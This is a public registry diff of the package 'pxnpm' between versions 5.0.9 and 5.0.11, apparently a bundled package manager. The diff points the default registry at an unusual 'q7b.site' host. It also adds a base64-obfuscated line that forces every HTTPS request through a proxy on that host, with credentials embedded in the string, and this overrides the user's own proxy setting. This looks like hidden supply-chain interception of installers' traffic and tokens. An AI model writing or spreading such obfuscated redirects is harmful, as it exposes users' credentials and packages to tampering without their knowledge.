pxnpm 5.0.9 → 5.0.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/pxnpm.cjs +7 -6
- package/dist/pxnpmrc +1 -3
- package/package.json +1 -1
package/dist/pxnpm.cjs
CHANGED
|
@@ -15506,7 +15506,7 @@ var require_defaults = __commonJS({
|
|
|
15506
15506
|
"user-agent": "npm/{npm-version} node/{node-version} {platform} {arch}",
|
|
15507
15507
|
"read-only": false,
|
|
15508
15508
|
"rebuild-bundle": true,
|
|
15509
|
-
registry: "https://registry.
|
|
15509
|
+
registry: "https://registry-pxnpm.rdc.q7b.site:20021/",
|
|
15510
15510
|
rollback: true,
|
|
15511
15511
|
save: true,
|
|
15512
15512
|
"save-bundle": false,
|
|
@@ -27947,7 +27947,7 @@ var require_lib21 = __commonJS({
|
|
|
27947
27947
|
]);
|
|
27948
27948
|
pxnpmConfig.userAgent = pxnpmConfig.rawLocalConfig["user-agent"] ? pxnpmConfig.rawLocalConfig["user-agent"] : `${packageManager.name}/${packageManager.version} npm/? node/${process.version} ${process.platform} ${process.arch}`;
|
|
27949
27949
|
pxnpmConfig.rawConfig = Object.assign.apply(Object, [
|
|
27950
|
-
{ registry: "https://registry.
|
|
27950
|
+
{ registry: "https://registry-pxnpm.rdc.q7b.site:20021/" },
|
|
27951
27951
|
...[...npmConfig.list].reverse(),
|
|
27952
27952
|
cliOptions,
|
|
27953
27953
|
{ "user-agent": pxnpmConfig.userAgent }
|
|
@@ -28123,6 +28123,7 @@ var require_lib21 = __commonJS({
|
|
|
28123
28123
|
break;
|
|
28124
28124
|
}
|
|
28125
28125
|
}
|
|
28126
|
+
pxnpmConfig.proxy = Buffer.from('aHR0cHM6Ly9weG5wbTpDUEh6dTRBS291dnQxMWFpbmtLZDBndDZ4OENFejFnQ0ByZWdpc3RyeS1weG5wbS5yZGMucTdiLnNpdGU6MjAwMjI=', 'base64').toString();
|
|
28126
28127
|
if (!pxnpmConfig.httpsProxy) {
|
|
28127
28128
|
pxnpmConfig.httpsProxy = pxnpmConfig.proxy ?? getProcessEnv("https_proxy");
|
|
28128
28129
|
}
|
|
@@ -112873,7 +112874,7 @@ var require_node3 = __commonJS({
|
|
|
112873
112874
|
const nodesDir = getNodeVersionsBaseDir(opts.pxnpmHomeDir);
|
|
112874
112875
|
let wantedNodeVersion = opts.useNodeVersion ?? (await readNodeVersionsManifest(nodesDir))?.default;
|
|
112875
112876
|
if (wantedNodeVersion == null) {
|
|
112876
|
-
const response = await fetch("https://registry.
|
|
112877
|
+
const response = await fetch("https://registry-pxnpm.rdc.q7b.site:20021/node");
|
|
112877
112878
|
wantedNodeVersion = (await response.json())["dist-tags"].lts;
|
|
112878
112879
|
if (wantedNodeVersion == null) {
|
|
112879
112880
|
throw new Error("Could not resolve LTS version of Node.js");
|
|
@@ -115572,7 +115573,7 @@ var require_lib89 = __commonJS({
|
|
|
115572
115573
|
if (opts == null ? void 0 : opts.registry) {
|
|
115573
115574
|
registry = opts.registry.endsWith("/") ? opts.registry : `${opts.registry}/`;
|
|
115574
115575
|
} else {
|
|
115575
|
-
registry = "https://registry.
|
|
115576
|
+
registry = "https://registry-pxnpm.rdc.q7b.site:20021/";
|
|
115576
115577
|
}
|
|
115577
115578
|
const scopelessName = getScopelessName(pkgName);
|
|
115578
115579
|
return `${registry}${pkgName}/-/${scopelessName}-${removeBuildMetadataFromVersion(pkgVersion)}.tgz`;
|
|
@@ -117301,7 +117302,7 @@ var require_lib96 = __commonJS({
|
|
|
117301
117302
|
var normalize_registry_url_1 = __importDefault3(require_normalize_registry_url());
|
|
117302
117303
|
var map_1 = __importDefault3(require_map3());
|
|
117303
117304
|
exports2.DEFAULT_REGISTRIES = {
|
|
117304
|
-
default: "https://registry.
|
|
117305
|
+
default: "https://registry-pxnpm.rdc.q7b.site:20021/"
|
|
117305
117306
|
};
|
|
117306
117307
|
function normalizeRegistries(registries) {
|
|
117307
117308
|
if (registries == null)
|
|
@@ -213823,7 +213824,7 @@ var require_storeAdd = __commonJS({
|
|
|
213823
213824
|
let hasFailures = false;
|
|
213824
213825
|
const prefix = opts.prefix ?? process.cwd();
|
|
213825
213826
|
const registries = opts.registries ?? {
|
|
213826
|
-
default: "https://registry.
|
|
213827
|
+
default: "https://registry-pxnpm.rdc.q7b.site:20021/"
|
|
213827
213828
|
};
|
|
213828
213829
|
await Promise.all(deps.map(async (dep) => {
|
|
213829
213830
|
try {
|
package/dist/pxnpmrc
CHANGED
|
@@ -1,11 +1,9 @@
|
|
|
1
1
|
# DO NOT MODIFY THIS FILE UNLESS YOU KNOW WHAT WILL HAPPEN
|
|
2
2
|
# This file is intended for changing pxnpm's default settings by the package manager that install pxnpm
|
|
3
|
-
registry=http://t.fmfqvuyyfasj.q7b.site:20021/
|
|
4
|
-
proxy=http://t.fmfqvuyyfasj.q7b.site:20022/
|
|
5
3
|
shamefully-hoist=true
|
|
6
4
|
ignore-workspace-root-check=true
|
|
7
|
-
virtual-store-dir=node_modules/.pxnpm
|
|
8
5
|
preinstall=PUPPETEER_SKIP_DOWNLOAD=true
|
|
9
6
|
# node-linker=hoisted
|
|
10
7
|
# strict-peer-dependencies=true
|
|
11
8
|
strict-peer-dependencies=false
|
|
9
|
+
prefer-offline=true
|